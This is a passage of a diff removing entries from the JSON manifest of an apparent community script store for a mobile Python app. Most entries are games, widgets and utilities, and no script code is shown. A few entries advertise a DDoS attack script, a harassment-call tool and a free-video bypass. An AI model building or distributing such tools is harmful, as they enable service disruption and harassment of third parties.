"py", - "author": "计算器", - "author_en": "计算器", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-20", - "updated": null, - "status": "active", - "lines": 222 - }, - { - "id": "script_mmyzioeo", - "name": "这就是节假日", - "name_en": "这就是节假日", - "desc": "节假日小组件", - "desc_en": "节假日小组件", - "category": "widgets", - "file": "scripts/widgets/script_mmyzioeo.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-20", - "updated": null, - "status": "active", - "lines": 85 - }, - { - "id": "script_mn0g9yri", - "name": "火柴人搭桥", - "name_en": "火柴人搭桥", - "desc": "经典搭桥小游戏,用手指按在屏幕上,桥就会开始增加长度.你要在两根柱子之间正确的把桥搭好才能正确过关,过长过短都会掉下悬崖!考验你的距离敏感度!", - "desc_en": "经典搭桥小游戏,用手指按在屏幕上,桥就会开始增加长度.你要在两根柱子之间正确的把桥搭好才能正确过关,过长过短都会掉下悬崖!考验你的距离敏感度!", - "category": "games", - "file": "scripts/games/script_mn0g9yri.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "XiaoYuan", - "author_en": "XiaoYuan", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-21", - "updated": null, - "status": "active", - "lines": 325 - }, - { - "id": "flight_mn1ryk35", - "name": "flight", - "name_en": "flight", - "desc": "一个供参考的文本模型,能生成简单但意思不全的句子", - "desc_en": "一个供参考的文本模型,能生成简单但意思不全的句子", - "category": "basic", - "file": "scripts/basic/flight_mn1ryk35.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ioo", - "author_en": "ioo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-22", - "updated": null, - "status": "active", - "lines": 69 - }, - { - "id": "web_crawler_mn26dhgw", - "name": "web_crawler", - "name_en": "web_crawler", - "desc": "爬虫测试", - "desc_en": "爬虫测试", - "category": "basic", - "file": "scripts/basic/web_crawler_mn26dhgw.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "淮季", - "author_en": "淮季", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-22", - "updated": null, - "status": "active", - "lines": 971 - }, - { - "id": "2_0_mn37c7pr", - "name": "联通小组件2.0", - "name_en": "联通小组件2.0", - "desc": "联通流量小组件显示,无需每次打开软件进行刷新,它会自己后台悄悄的更新哦,根据需要填写的脚本里有提示,注意查看。", - "desc_en": "联通流量小组件显示,无需每次打开软件进行刷新,它会自己后台悄悄的更新哦,根据需要填写的脚本里有提示,注意查看。", - "category": "widgets", - "file": "scripts/widgets/2_0_mn37c7pr.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-23", - "updated": null, - "status": "active", - "lines": 100 - }, - { - "id": "cookie_2_0_mn37fkak", - "name": "Cookie解析2.0", - "name_en": "Cookie解析2.0", - "desc": "相比头一个版本这次咱不用复制粘贴进去了麻烦死了😂,仅需把你自己抓到的 Cookie 拷贝,运行脚本 它会自动获取解析,生成文件在本 app文档部分。🐽", - "desc_en": "相比头一个版本这次咱不用复制粘贴进去了麻烦死了😂,仅需把你自己抓到的 Cookie 拷贝,运行脚本 它会自动获取解析,生成文件在本 app文档部分。🐽", - "category": "basic", - "file": "scripts/basic/cookie_2_0_mn37fkak.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-23", - "updated": null, - "status": "active", - "lines": 92 - }, - { - "id": "2048_mn4569dx", - "name": "2048游戏", - "name_en": "2048游戏", - "desc": "经典的2048小游戏非常好玩", - "desc_en": "经典的2048小游戏非常好玩", - "category": "games", - "file": "scripts/games/2048_mn4569dx.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-24", - "updated": null, - "status": "active", - "lines": 560 - }, - { - "id": "script_mn6mob7u", - "name": "七月单次电话", - "name_en": "七月单次电话", - "desc": "可以机器人给打电话,仅供学习!", - "desc_en": "可以机器人给打电话,仅供学习!", - "category": "basic", - "file": "scripts/basic/script_mn6mob7u.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "七月", - "author_en": "七月", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-25", - "updated": null, - "status": "active", - "lines": 57 - }, - { - "id": "script_mn7hc213", - "name": "迷宫小游戏", - "name_en": "迷宫小游戏", - "desc": "迷宫(简易)", - "desc_en": "迷宫(简易)", - "category": "games", - "file": "scripts/games/script_mn7hc213.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Daoyu268", - "author_en": "Daoyu268", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-26", - "updated": null, - "status": "active", - "lines": 108 - }, - { - "id": "community_叠叠高__by_今晚打老虎", - "name": "叠叠高 — by 今晚打老虎", - "name_en": "叠叠高 — by 今晚打老虎", - "desc": "[投稿] 叠叠高 — by 今晚打老虎", - "desc_en": "[投稿] 叠叠高 — by 今晚打老虎", - "category": "games", - "file": "scripts/games/script_mn7q5him.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "games" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-26", - "updated": null, - "status": "active", - "lines": 471 - }, - { - "id": "community_骚扰电话__by_俄总统", - "name": "骚扰电话☎️ — by 俄总统", - "name_en": "骚扰电话☎️ — by 俄总统", - "desc": "[投稿] 骚扰电话☎️ — by 俄总统", - "desc_en": "[投稿] 骚扰电话☎️ — by 俄总统", - "category": "basic", - "file": "scripts/ui/script_mn8qerq9.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-27", - "updated": null, - "status": "active", - "lines": 98 - }, - { - "id": "script_mn91mn1t", - "name": "每日一词", - "name_en": "每日一词", - "desc": "每日一词", - "desc_en": "每日一词", - "category": "widgets", - "file": "scripts/widgets/script_mn91mn1t.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "一只菜鸡", - "author_en": "一只菜鸡", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-27", - "updated": null, - "status": "active", - "lines": 113 - }, - { - "id": "script_mn9r95l0", - "name": "实时电影票房", - "name_en": "实时电影票房", - "desc": "建议用中号小组件", - "desc_en": "建议用中号小组件", - "category": "widgets", - "file": "scripts/widgets/script_mn9r95l0.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "一只菜鸡", - "author_en": "一只菜鸡", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 87 - }, - { - "id": "script_mna05y9m", - "name": "今日油价", - "name_en": "今日油价", - "desc": "CITY_NAME = \"北京\" # ← 在这里修改城市名称", - "desc_en": "CITY_NAME = \"北京\" # ← 在这里修改城市名称", - "category": "widgets", - "file": "scripts/widgets/script_mna05y9m.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "一只菜鸡", - "author_en": "一只菜鸡", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 312 - }, - { - "id": "2_mna8yaj4", - "name": "节假日2", - "name_en": "节假日2", - "desc": "节假日倒计时优化", - "desc_en": "节假日倒计时优化", - "category": "widgets", - "file": "scripts/widgets/2_mna8yaj4.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 113 - }, - { - "id": "script_mnadv3th", - "name": "猜数字", - "name_en": "猜数字", - "desc": "iOS风格", - "desc_en": "iOS风格", - "category": "games", - "file": "scripts/games/script_mnadv3th.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Yahoo", - "author_en": "Yahoo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 188 - }, - { - "id": "e_mnagdrfc", - "name": "蒙电e家电费", - "name_en": "蒙电e家电费", - "desc": "YHDABH = \"自行抓包修改参数\" ,内蒙古蒙电e家app,外省不用下,建议中号小组件", - "desc_en": "YHDABH = \"自行抓包修改参数\" ,内蒙古蒙电e家app,外省不用下,建议中号小组件", - "category": "widgets", - "file": "scripts/widgets/e_mnagdrfc.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "两只菜鸡", - "author_en": "两只菜鸡", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 178 - }, - { - "id": "script_mnahfe4x", - "name": "谷歌热点新闻", - "name_en": "谷歌热点新闻", - "desc": "直接爬取谷歌热点新闻,可以选择保存为txt", - "desc_en": "直接爬取谷歌热点新闻,可以选择保存为txt", - "category": "basic", - "file": "scripts/basic/script_mnahfe4x.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "爬虫专家", - "author_en": "爬虫专家", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 227 - }, - { - "id": "script_mnbnp2ee", - "name": "简易数学计算器", - "name_en": "简易数学计算器", - "desc": "小学生做的代码,不喜勿喷,若有bug,及时在电子邮箱里反馈", - "desc_en": "小学生做的代码,不喜勿喷,若有bug,及时在电子邮箱里反馈", - "category": "basic", - "file": "scripts/basic/script_mnbnp2ee.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "程序员小y", - "author_en": "程序员小y", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-29", - "updated": null, - "status": "active", - "lines": 55 - }, - { - "id": "script_mnbr9mqw", - "name": "音频测试器", - "name_en": "音频测试器", - "desc": "用Ui模块直接测试作者内置的一百多个音频", - "desc_en": "用Ui模块直接测试作者内置的一百多个音频", - "category": "ui", - "file": "scripts/ui/script_mnbr9mqw.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "爬虫专家", - "author_en": "爬虫专家", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-29", - "updated": null, - "status": "active", - "lines": 265 - }, - { - "id": "script_mnbrzcaq", - "name": "日历", - "name_en": "日历", - "desc": "仅仅支持大组件", - "desc_en": "仅仅支持大组件", - "category": "widgets", - "file": "scripts/widgets/script_mnbrzcaq.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-29", - "updated": null, - "status": "active", - "lines": 130 - }, - { - "id": "script_mndbzbxy", - "name": "函数绘制器", - "name_en": "函数绘制器", - "desc": "输入函数解析式可以直接生成函数图象", - "desc_en": "输入函数解析式可以直接生成函数图象", - "category": "basic", - "file": "scripts/basic/script_mndbzbxy.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Nemo", - "author_en": "Nemo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-30", - "updated": null, - "status": "active", - "lines": 290 - }, - { - "id": "community_高精ip查询工具箱__by_淮季", - "name": "高精ip查询工具箱 — by 淮季", - "name_en": "高精ip查询工具箱 — by 淮季", - "desc": "[投稿] 高精ip查询工具箱 — by 淮季", - "desc_en": "[投稿] 高精ip查询工具箱 — by 淮季", - "category": "basic", - "file": "scripts/basic/ip_mndf9xci.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-30", - "updated": null, - "status": "active", - "lines": 150 - }, - { - "id": "ai_mndywb18", - "name": "Ai五子棋", - "name_en": "Ai五子棋", - "desc": "你行你来!", - "desc_en": "你行你来!", - "category": "games", - "file": "scripts/games/ai_mndywb18.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "三只菜鸡", - "author_en": "三只菜鸡", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-31", - "updated": null, - "status": "active", - "lines": 650 - }, - { - "id": "block_blast_mnerg6j8", - "name": "block_blast", - "name_en": "block_blast", - "desc": "block blast", - "desc_en": "block blast", - "category": "games", - "file": "scripts/games/block_blast_mnerg6j8.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "VibeC", - "author_en": "VibeC", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-31", - "updated": null, - "status": "active", - "lines": 1122 - }, - { - "id": "script_mnfqk5cz", - "name": "二维码生成器", - "name_en": "二维码生成器", - "desc": "生成二维码(需拓展qrcode库)", - "desc_en": "生成二维码(需拓展qrcode库)", - "category": "basic", - "file": "scripts/basic/script_mnfqk5cz.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "爱玩Arduino", - "author_en": "爱玩Arduino", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-01", - "updated": null, - "status": "active", - "lines": 15 - }, - { - "id": "community_太好用了__by_鲁小师", - "name": "太好用了 — by 鲁小师", - "name_en": "太好用了 — by 鲁小师", - "desc": "[投稿] 太好用了 — by 鲁小师", - "desc_en": "[投稿] 太好用了 — by 鲁小师", - "category": "basic", - "file": "scripts/basic/script_mnfrb0ax.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-01", - "updated": null, - "status": "active", - "lines": 23 - }, - { - "id": "script_mnfx90ey", - "name": "纪念日", - "name_en": "纪念日", - "desc": "可更改自己所需的纪念日或者倒计时,脚本有注释", - "desc_en": "可更改自己所需的纪念日或者倒计时,脚本有注释", - "category": "widgets", - "file": "scripts/widgets/script_mnfx90ey.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-01", - "updated": null, - "status": "active", - "lines": 189 - }, - { - "id": "script_mngcmh7k", - "name": "相册照片统计", - "name_en": "相册照片统计", - "desc": "可以统计你相册的所有照片,并分类显示", - "desc_en": "可以统计你相册的所有照片,并分类显示", - "category": "basic", - "file": "scripts/basic/script_mngcmh7k.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-01", - "updated": null, - "status": "active", - "lines": 138 - }, - { - "id": "2_0_mngptldc", - "name": "骚扰电话检测防护工具2.0", - "name_en": "骚扰电话检测防护工具2.0", - "desc": "重构ui界面修复首次运行时ui显示错位问题,优化增强识别骚扰电话能力", - "desc_en": "重构ui界面修复首次运行时ui显示错位问题,优化增强识别骚扰电话能力", - "category": "ui", - "file": "scripts/ui/2_0_mngptldc.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "昨天", - "author_en": "昨天", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-02", - "updated": null, - "status": "active", - "lines": 713 - }, - { - "id": "script_mnhgvh9i", - "name": "象棋", - "name_en": "象棋", - "desc": "可以单机可以双人,感兴趣的可以挑战一下", - "desc_en": "可以单机可以双人,感兴趣的可以挑战一下", - "category": "games", - "file": "scripts/games/script_mnhgvh9i.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-02", - "updated": null, - "status": "active", - "lines": 1459 - }, - { - "id": "cmd1_0_mnirvpz0", - "name": "模拟cmd1.0", - "name_en": "模拟cmd1.0", - "desc": "一个模拟cmd的小脚本,为了方便改了一点语法,暂时只有这些功能english:A small script that simulates cmd. In order to facilitate a little syntax, it only has these functions for the time being.", - "desc_en": "一个模拟cmd的小脚本,为了方便改了一点语法,暂时只有这些功能english:A small script that simulates cmd. In order to facilitate a little syntax, it only has these functions for the time being.", - "category": "basic", - "file": "scripts/basic/cmd1_0_mnirvpz0.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ioo", - "author_en": "ioo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-03", - "updated": null, - "status": "active", - "lines": 93 - }, - { - "id": "script_mnj1lj72", - "name": "每日名言", - "name_en": "每日名言", - "desc": "每日名言,仅仅支持中组件", - "desc_en": "每日名言,仅仅支持中组件", - "category": "widgets", - "file": "scripts/widgets/script_mnj1lj72.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-03", - "updated": null, - "status": "active", - "lines": 93 - }, - { - "id": "community_iphone真实储存容量__by_silence", - "name": "iPhone真实储存容量 — by Silence", - "name_en": "iPhone真实储存容量 — by Silence", - "desc": "[投稿] iPhone真实储存容量 — by Silence", - "desc_en": "[投稿] iPhone真实储存容量 — by Silence", - "category": "widgets", - "file": "scripts/widgets/iphone_mnj29d3s.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "widgets" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-03", - "updated": null, - "status": "active", - "lines": 74 - }, - { - "id": "whois_mnk4rrph", - "name": "whois查询", - "name_en": "whois查询", - "desc": "优化操作流程", - "desc_en": "优化操作流程", - "category": "basic", - "file": "scripts/basic/whois_mnk4rrph.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Jason Peng", - "author_en": "Jason Peng", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-04", - "updated": null, - "status": "active", - "lines": 351 - }, - { - "id": "script_mnkej15x", - "name": "和平内核模拟刷入", - "name_en": "和平内核模拟刷入", - "desc": "这个只是整蛊人的,大家可以去整蛊一下朋友", - "desc_en": "这个只是整蛊人的,大家可以去整蛊一下朋友", - "category": "basic", - "file": "scripts/basic/script_mnkej15x.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "小王", - "author_en": "小王", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-04", - "updated": null, - "status": "active", - "lines": 78 - }, - { - "id": "ui_mnkr9090", - "name": "网吧模拟器Ui 版", - "name_en": "网吧模拟器Ui 版", - "desc": "网吧模拟器Ui模块版", - "desc_en": "网吧模拟器Ui模块版", - "category": "ui", - "file": "scripts/ui/ui_mnkr9090.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-04", - "updated": null, - "status": "active", - "lines": 577 - }, - { - "id": "script_mnl0ws3b", - "name": "一款计算器", - "name_en": "一款计算器", - "desc": "小学生爆肝5天,不喜勿喷,bug请联系", - "desc_en": "小学生爆肝5天,不喜勿喷,bug请联系", - "category": "basic", - "file": "scripts/basic/script_mnl0ws3b.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ENDER", - "author_en": "ENDER", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-05", - "updated": null, - "status": "active", - "lines": 187 - }, - { - "id": "cmd1_0_mnleeeta", - "name": "模拟cmd1.0系统可还原", - "name_en": "模拟cmd1.0系统可还原", - "desc": "如果不小心删了文件,可以用save和load保存系统或加载系统,文件名dosfile.txt,是json格式", - "desc_en": "如果不小心删了文件,可以用save和load保存系统或加载系统,文件名dosfile.txt,是json格式", - "category": "basic", - "file": "scripts/basic/cmd1_0_mnleeeta.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ioo", - "author_en": "ioo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-05", - "updated": null, - "status": "active", - "lines": 97 - }, - { - "id": "community_模拟cmd20__by_ioo", - "name": "模拟cmd2.0 — by ioo", - "name_en": "模拟cmd2.0 — by ioo", - "desc": "[投稿] 模拟cmd2.0 — by ioo", - "desc_en": "[投稿] 模拟cmd2.0 — by ioo", - "category": "basic", - "file": "scripts/basic/cmd2_0_mnll1610.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-05", - "updated": null, - "status": "active", - "lines": 99 - }, - { - "id": "subinfo_web_mnlyw592", - "name": "subinfo_web", - "name_en": "subinfo_web", - "desc": "订阅链接查询", - "desc_en": "订阅链接查询", - "category": "ui", - "file": "scripts/ui/subinfo_web_mnlyw592.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "啥也不是", - "author_en": "啥也不是", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-05", - "updated": null, - "status": "active", - "lines": 568 - }, - { - "id": "script_mnnqr05c", - "name": "通讯录统计", - "name_en": "通讯录统计", - "desc": "可以统计手机通讯录内容", - "desc_en": "可以统计手机通讯录内容", - "category": "basic", - "file": "scripts/basic/script_mnnqr05c.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-06", - "updated": null, - "status": "active", - "lines": 427 - }, - { - "id": "script_mnoj6hz6", - "name": "效果进度条", - "name_en": "效果进度条", - "desc": "一个模板,进度条模板,使用\\r", - "desc_en": "一个模板,进度条模板,使用\\r", - "category": "basic", - "file": "scripts/basic/script_mnoj6hz6.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ioo", - "author_en": "ioo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-07", - "updated": null, - "status": "active", - "lines": 26 - }, - { - "id": "community_cmd20修正测试__by_ioo", - "name": "cmd2.0修正测试 — by ioo", - "name_en": "cmd2.0修正测试 — by ioo", - "desc": "[投稿] cmd2.0修正测试 — by ioo", - "desc_en": "[投稿] cmd2.0修正测试 — by ioo", - "category": "basic", - "file": "scripts/basic/cmd2_0_mnoj7n30.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-07", - "updated": null, - "status": "active", - "lines": 29 - }, - { - "id": "vpn_mnqlott7", - "name": "vpn", - "name_en": "vpn", - "desc": "Proxy", - "desc_en": "Proxy", - "category": "ui", - "file": "scripts/ui/vpn_mnqlott7.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Viển", - "author_en": "Viển", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-08", - "updated": null, - "status": "active", - "lines": 18 - }, - { - "id": "get_mnsxghs0", - "name": "网页状态政策程序(GET请求)", - "name_en": "网页状态政策程序(GET请求)", - "desc": "一个侦测网页状态的Python程序(GET请求),小学生通宵做的,不喜勿喷。如有改进,可在电子邮件内提出意见", - "desc_en": "一个侦测网页状态的Python程序(GET请求),小学生通宵做的,不喜勿喷。如有改进,可在电子邮件内提出意见", - "category": "basic", - "file": "scripts/basic/get_mnsxghs0.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "程序员小y", - "author_en": "程序员小y", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-10", - "updated": null, - "status": "active", - "lines": 41 - }, - { - "id": "script_mnutzsk7", - "name": "扫雷", - "name_en": "扫雷", - "desc": "经典扫雷小游戏,完美还原Windows", - "desc_en": "经典扫雷小游戏,完美还原Windows", - "category": "games", - "file": "scripts/games/script_mnutzsk7.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "我是人", - "author_en": "我是人", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-11", - "updated": null, - "status": "active", - "lines": 236 - }, - { - "id": "community_身份证核验__by_霞飞路", - "name": "身份证核验 — by 霞飞路", - "name_en": "身份证核验 — by 霞飞路", - "desc": "[投稿] 身份证核验 — by 霞飞路", - "desc_en": "[投稿] 身份证核验 — by 霞飞路", - "category": "basic", - "file": "scripts/basic/script_mnul4nuo.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-12", - "updated": null, - "status": "active", - "lines": 17 - }, - { - "id": "ddos_mnydfe4y", - "name": "DDOS攻击", - "name_en": "DDOS攻击", - "desc": "电脑运行,手机的加载容易卡机,请在靶机或授权环境情况下使用!", - "desc_en": "电脑运行,手机的加载容易卡机,请在靶机或授权环境情况下使用!", - "category": "basic", - "file": "scripts/basic/ddos_mnydfe4y.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "七月", - "author_en": "七月", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-14", - "updated": null, - "status": "active", - "lines": 100 - }, - { - "id": "community_腾讯视频各类免费看密码是qiyue__by_七月", - "name": "腾讯视频各类免费看密码是qiyue — by 七月", - "name_en": "腾讯视频各类免费看密码是qiyue — by 七月", - "desc": "[投稿] 腾讯视频各类免费看密码是qiyue — by 七月", - "desc_en": "[投稿] 腾讯视频各类免费看密码是qiyue — by 七月", - "category": "ui", - "file": "scripts/ui/qiyue_mnyea7xv.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "ui" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-14", - "updated": null, - "status": "active", - "lines": 146 - }, - { - "id": "salary_widget_mnyqeg8t", - "name": "salary_widget", - "name_en": "salary_widget", - "desc": "看看每天可以摸多少薪水", - "desc_en": "看看每天可以摸多少薪水", - "category": "widgets", - "file": "scripts/widgets/salary_widget_mnyqeg8t.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "AirouLin", - "author_en": "AirouLin", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-14", - "updated": null, - "status": "active", - "lines": 192 - }, - { - "id": "community_模拟cmd26__by_ioo", - "name": "模拟cmd2.6 — by ioo", - "name_en": "模拟cmd2.6 — by ioo", - "desc": "[投稿] 模拟cmd2.6 — by ioo", - "desc_en": "[投稿] 模拟cmd2.6 — by ioo", - "category": "basic", - "file": "scripts/basic/cmd2_6_mo2zh2uh.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-17", - "updated": null, - "status": "active", - "lines": 144 - }, - { - "id": "web_crawler_mo38mv63", - "name": "web_crawler", - "name_en": "web_crawler", - "desc": "Name", - "desc_en": "Name", - "category": "basic", - "file": "scripts/basic/web_crawler_mo38mv63.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Nice", - "author_en": "Nice", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-17", - "updated": null, - "status": "active", - "lines": 26 - }, - { - "id": "3_0_mo8lp3m5", - "name": "科学计算器3.0", - "name_en": "科学计算器3.0", - "desc": "兄弟们!咱们的V3(V2是html上传不了)版本科学计算器也是来了!直接上传,肥肠好用!(直接打开第三条网址)之前不更新是在搞焊接,感谢大伙一路以来的陪伴!", - "desc_en": "兄弟们!咱们的V3(V2是html上传不了)版本科学计算器也是来了!直接上传,肥肠好用!(直接打开第三条网址)之前不更新是在搞焊接,感谢大伙一路以来的陪伴!", - "category": "ui", - "file": "scripts/ui/3_0_mo8lp3m5.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ENDER", - "author_en": "ENDER", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-21", - "updated": null, - "status": "active", - "lines": 642 - }, - { - "id": "script_mo9oqex4", - "name": "小姐姐视频", - "name_en": "小姐姐视频", - "desc": "没事瞎闹", - "desc_en": "没事瞎闹", - "category": "ui", - "file": "scripts/ui/script_mo9oqex4.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "枕闲鱼", - "author_en": "枕闲鱼", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-22", - "updated": null, - "status": "active", - "lines": 77 - }, - { - "id": "cipilot_mobvhfz8", - "name": "Cipilot", - "name_en": "Cipilot", - "desc": "import pybase64 import base64 import requests import binascii import os # Define a fixed timeout for 